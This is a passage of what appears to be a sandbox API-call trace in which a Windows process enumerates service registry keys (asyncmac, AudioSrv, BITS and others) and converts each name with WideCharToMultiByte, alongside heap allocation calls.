CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.594] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.594] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de4720, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.594] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.594] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.594] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.595] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.595] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.595] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0257.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.595] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.596] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.596] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.596] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.596] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.596] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.596] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.596] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.596] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.596] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.596] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.596] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.596] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.596] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.597] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.597] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.597] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0257.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.597] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.597] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.598] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.598] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.598] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.598] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.598] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.598] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.598] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.598] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.598] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.598] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.598] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.598] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0257.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.599] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0257.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0257.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.599] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0257.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0257.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.599] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0257.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, 